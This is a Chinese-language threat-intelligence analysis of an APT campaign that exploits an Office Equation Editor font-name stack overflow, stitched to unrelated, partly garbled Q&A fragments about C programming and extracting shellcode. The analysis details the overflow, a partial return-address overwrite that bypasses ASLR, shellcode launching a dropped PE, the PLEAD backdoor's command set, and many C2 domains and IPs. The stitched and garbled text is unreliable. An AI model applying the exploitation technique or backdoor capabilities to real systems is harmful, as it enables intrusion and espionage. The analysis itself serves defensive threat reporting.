漏洞存在於Office的公式編輯器組件Eqnedit.exe(Equation Editor)中。Equation Editor和MathType都是Design Science開發的公式編輯軟體,都採用MTEF(MathType』s Equation Format)格式來存儲公式數據。Equation Editor生成的公式數據匯存放在Office 文檔的一個OLEObject中,該object class為Equation.3,而obj data區存放的是公式的私有數據OLE Equation Objects。OLE Equation Objects包括兩部分,頭部是28位元組的EQNOLEFILEHDR結構,其後則是MTEF數據:
MTEF數據則包括兩部分,一部分是MTEF Header,一部分是描述公式內容的MTEF Byte Stream:
MTEFByte Stream包括一系列的記錄records,每一個record以tagbyte開始,tagbyte的低4位描述該record的類型,高4位描述該record的屬性。
2) 漏洞溢出分析
該漏洞發生在從MTEF Byte Stream中解析Font Record時出現棧溢出。下圖是截獲的樣本中的Font Record二進制數據:
Font Record結構如下:
對照上圖的二進制數據,tag type 是8,tface 為0×0,style為0×1,剩下的則是字體名字。
漏洞發生在sub_421E39函數中,它主要用來初始化一個結構體LOGFONT,該結構體定義如下:
其中字體名字lfFaceName是一個長度為0×20的字元數組。
函數sub_421E39代碼如下:
在sub_421E39函數一開始,調用strcpy復制傳入的字體名字,可以看到在這過程中,沒有任何的長度校驗,如果傳入的字體名字長度超過0×20,那麼這里將會產生溢出。
sub_421E39函數在sub_421774函數中被調用,這是sub_421774函數的部分代碼:
從中可以看到,sub_421E39函數初始化的LOGFONT結構體是保存在棧上的,如果構造足夠長的字體名字,那麼sub_421E39函數裡面的strcpy操作,將會溢出覆蓋掉sub_421774函數的返回地址。
從代碼中另外可以看到,CVE-2017-11882所在的漏洞函數,也同樣會被sub_421774函數調用到。
(2) 漏洞利用分析
1) 觸發漏洞前
在調用sub_421E39前查看當前的調試信息,棧上第一個參數正是字體名字,也是一段精心構造的shellcode。
2) 觸發棧溢出
可以發現棧上的一個返回地址0x1d14e2被修改為了0x1d0025。
由於11月份修補的Eqnedt32.exe中增加了ASLR的防護措施,無法知道當前模塊載入的基地址,但是可以利用相對地址不會改變這個特性,通過棧溢出就可以實現將棧上的地址0x1d14e2改為與其相對偏移0x14BD的一個地址,也即是將0x1d14e2的低16位修改為0×0025。
3) Shellcode
ret跳轉到shellcode:
跳轉到WinExec執行惡意PE:
而%tmp%\DAT9689.tmp是該文檔內嵌並已經釋放出來的一個惡意PE可執行文件。
2、 歷史載荷投遞分析
該組織最常使用魚叉攻擊,採用發內容緊貼熱點話題的誘餌文件進行攻擊。
該組織攻擊者善於偽裝,包括使用文檔類圖標、反轉字元、雙擴展名、漏洞利用等。偽裝方式分布為:
(1) 偽裝成文檔圖標,同正常文檔打包在同一壓縮包中,誘騙點擊
(2) 使用特殊的unicode字元(RTLO)反轉文件名實現偽裝
(3) 使用雙重文件名實現偽裝(不顯示擴展名的情況下極具欺騙性)
(4) 使用漏洞打包成惡意文檔文件
三、 載荷分析
本次攻擊使用的是一個代號為PLEAD的後門程序,該木馬的核心功能以shellcode的形式存在,外殼實現的功能通常是分配一塊內存,並將加密的shellcode解密到該內存中,完成後直接跳轉到相應的內存塊執行。為了對抗安全軟體的查殺,外殼的代碼千變萬化,但核心的shellcode至今只發現了三個差異較大的版本:

版本
大小
出現時間
特點

版本1 6544 2012年 Shellcode中實現注入到ie中執行主功能代碼
版本2 5912 2014年 直接執行主功能函數,去掉了注入ie的代碼
版本3 3512 2015年 去掉了提示字元串等信息,精簡大小

外殼行為分析:
創建互斥量,防止重復運行:互斥量格式為將當前時間格式化為以下格式字元串:
1….%02d%02d%02d_%02d%02d…2,
如1….20180109_0945…2
shellcode存放在局部數組中,極難檢測:
解密演算法如下:
獲取用戶名、計算機名、本機IP地址、系統版本,加密發送到C2,使用http協議:
命令分發:

命令代碼
功能

C 獲取瀏覽器上網代理設置和安裝軟體列表信息
L 獲取本地磁碟列表及類型
E 執行一條命令/文件,並通過管道取得執行結果返回(CMDShell)
P 並從指定URL重新下載文件到指定位置
G 上傳指定文件
D 刪除指定文件
A Sleep 指定時間

四、 總結
隨著「互聯網+」時代的來臨,政府、企業把更多的業務向雲端遷移,各行各業都在構建自己的大數據中心,數據價值凸顯。在這種趨勢下面,根據騰訊御見威脅情報中心的監測數據表明,政府、企業所面臨的APT攻擊變得越來越頻繁和常見。騰訊企業安全針對APT防禦方面提供了多種解決方案,騰訊御界、騰訊御點等產品均可以檢測和防禦本次APT攻擊。
五、 參考資料
https://www.easyaq.com/news/661053968.shtml
http://blog.trendmicro.com/trendlabs-security-intelligence/following-trail-blacktech-cyber-espionage-campaigns/
附錄:IOCs
Hash:
C2:
greeting.hopewill.com
beersale.servebeer.com
pictures.happyforever.com
cert.dynet.com
soo.dtdns.net
rio.onmypc.org
paperspot.wikaba.com
sysinfo.itemdb.com
asus0213.asuscomm.com
firstme.mysecondarydns.com
nspo.itaiwans.com
injure.ignorelist.com
dcns.sonicecation.com
seting.herbalsolo.com
kh7710103.qnoddns.org.cn
zing.youdontcare.com
moutain.onmypc.org
icst.compress.to
twcert.compress.to
festival.lflinkup.net
xuite.myMom.info
avira.justdied.com
showgirls.mooo.com
linenews.mypicture.info
zip.zyns.com
sushow.xxuz.com
applestore.dnset.com
superapple.sendsmtp.com
newspaper.otzo.com
yahoo.zzux.com
microsfot.ikwb.com
facebook.itsaol.com
amazon.otzo.com
cecs.ben-wan.com
av100.mynetav.net
rdec.compress.to
forums.toythieves.com
kukupy.chatnook.com
pictures.wasson.com
moea.crabdance.com
hinet.homenet.org
freeonshop.x24hr.com
blognews.onmypc.org
ametoy.acmetoy.com
usamovie.mylftv.com
timehigh.ddns.info
ikwb55.ikwb.com
dpp.edesizns.com
hehagame.Got-Game.org
wendy.uberleet.com
needjustword.bbsindex.com
front.fartit.com
accounts.fartit.com
177.135.177.54
18.163.14.217
60.249.208.167
220.133.73.13
220.134.10.17
122.147.248.69
220.132.50.81
111.249.102.102
118.163.14.217
59.124.71.29
220.134.98.3
61.219.96.18
114.27.132.233
123.110.131.86
61.58.90.63
122.117.107.178
114.39.59.244
61.222.32.205
60.251.199.226
61.56.11.42
61.58.90.11
123.110.131.86
210.67.101.84
210.242.211.175
211.23.191.4
203.74.123.121
59.125.7.185
59.125.132.175
59.120.169.51
125.227.241.2
125.227.225.181
118.163.168.223
1.170.118.233
dcns.chickenkiller.com
subnotes.ignorelist.com
mozila.strangled.net
boe.pixarworks.com
moc.mrface.com
su27.oCry.com
motc.linestw.com
ting.qpoe.com
blognews.ezua.com
nevery.b0ne.com
jog.punked.us
africa.themafia.info
tios.nsicscores.com
dream.wikaba.com
pcphoto.servehalflife.com
17ublog.1mb.com
effinfo.effers.com
edit.ctotw.tw
tw.chatnook.com
twnic.crabdance.com
asus.strangled.net
furniture.home.kg
newpower.jkub.com
cypd.slyip.com
tabf.garrarufaworld.com
wordhasword.darktech.org
techlaw.linestw.com
techlawilo.effers.com
support.bonbonkids.hk
zany.strangled.net
flog.pgp.com.mx
job.jobical.com
picture.diohwm.com
npa.dynamicdns.org.uk
webmail.24-7.ro
docsedit.cleansite.us
fastnews.ezua.com
INetGIS.faceboktw.com
teacher.yahoomit.com
idb.jamescyoung.com
picture.brogrammer.org
idb.jamescyoung.com
picture.brogrammer.org
movieonline.redirectme.net
formosa.happyforever.com
mirdc.happyforever.com
webey.sbfhome.net
cust.compradecedines.com.ar
cwb.soportetechmdp.com.ar
tw.shop.tm
music.ftp.sh
forums.happyforever.com

『柒』 c語言是什麼 都能幹什麼

C是一種高級通用編程語言,非常適合開發固件或攜帶型應用程序,最初用於編寫系統軟體,C是由Dennis Ritchie在20世紀70年代早期在貝爾實驗室為Unix操作系統開發的。

C語言能幹什麼

1、C語言可以做嵌入式開發。

2、C語言可以寫漂亮的界面瞎謹。以windows開發為例,你可以學習《windows程序設計(第五版)》,學完就可以寫出界面來。還有一些開源庫界面庫,例如soui也是用C寫出來的。

3、C語言可以做伺服器開發,現在的游戲伺服器端大多都是C/C++開發的。《windows核心編程》裡面的例子就是用C寫的。

4、C語言可以寫游戲。cocos2d-x就是C/C++寫的。DirectX也是。

5、C語言可以寫驅動程序。windows下各種硬體驅動都是C/C++寫的。騰訊游戲保護軟體(TP)也是驅動程序。

6、C語言可以寫外掛。想學寫外掛的童鞋們可以看看鬱金香的外掛編程視頻教程。

7、C語言可以做視頻圖片流媒體處理。有興趣的朋友可以學習一下ffmpeg、live555、sdl等開源庫。

8、C語言可以做網頁和爬蟲相關的編程。想了解的同學可以去看gsoap、libcur等相關開源庫。

9、C語言可以進行黑客編程。配合匯編獲取隨機地址、調shellcode等。

C語言有什麼優勢

1、簡潔緊湊、靈活方便

C語言一共只有32個關鍵字,9種控制語句,程序書寫形式自由,區分大小寫。把高級語言的基本結構和語句與低級語言的實用性結合起來。C 語言可以像匯編語言一樣對位、位元組和地址進行操作,而這三者是計算機最基本的工磨和基作單元。

2、運算符豐富

C語言的運算符包含的范圍很廣泛,共有34種運算符。C語言把括弧、賦值、強制類型轉換等都作為運算符處理。從而使C語言的運算類型極其豐富,表達式類型多樣化。靈活使用各種運算符可以實現在其它高級語言中難以實現的運算。

3、數據類型豐富

C語言的數據類型有:整型、實型、字元型、數組類型、指針類型、結構體類型、共用體類型等。能用來實現各種復雜的數據結構的運算。並引入了指針概念,使程序效率更高。

4、表達方式靈活實用

C語言提供多種運算符和表達式值的方法,對問題的表達可通過多種途徑獲得,其程序設計更主動、靈活。它語法限棚亮制不太嚴格,程序設計自由度大,如對整型量與字元型數據及邏輯型數據可以通用等。

『捌』 csgo獲取shellcode

csgo獲取shellcode?如何從內存中提取shellcode
1.我們可以使用api hooks 來提取shellcode。在任逗粗滲何 API 調用上設置斷點是很常見的凳改。我將使用 x64dbg。你可以使用其他應用程序。

2.將可執行文件下載到 x64dbg。轉到符號並找到VirtualAlloc。設置斷點並執行直山脊到返回。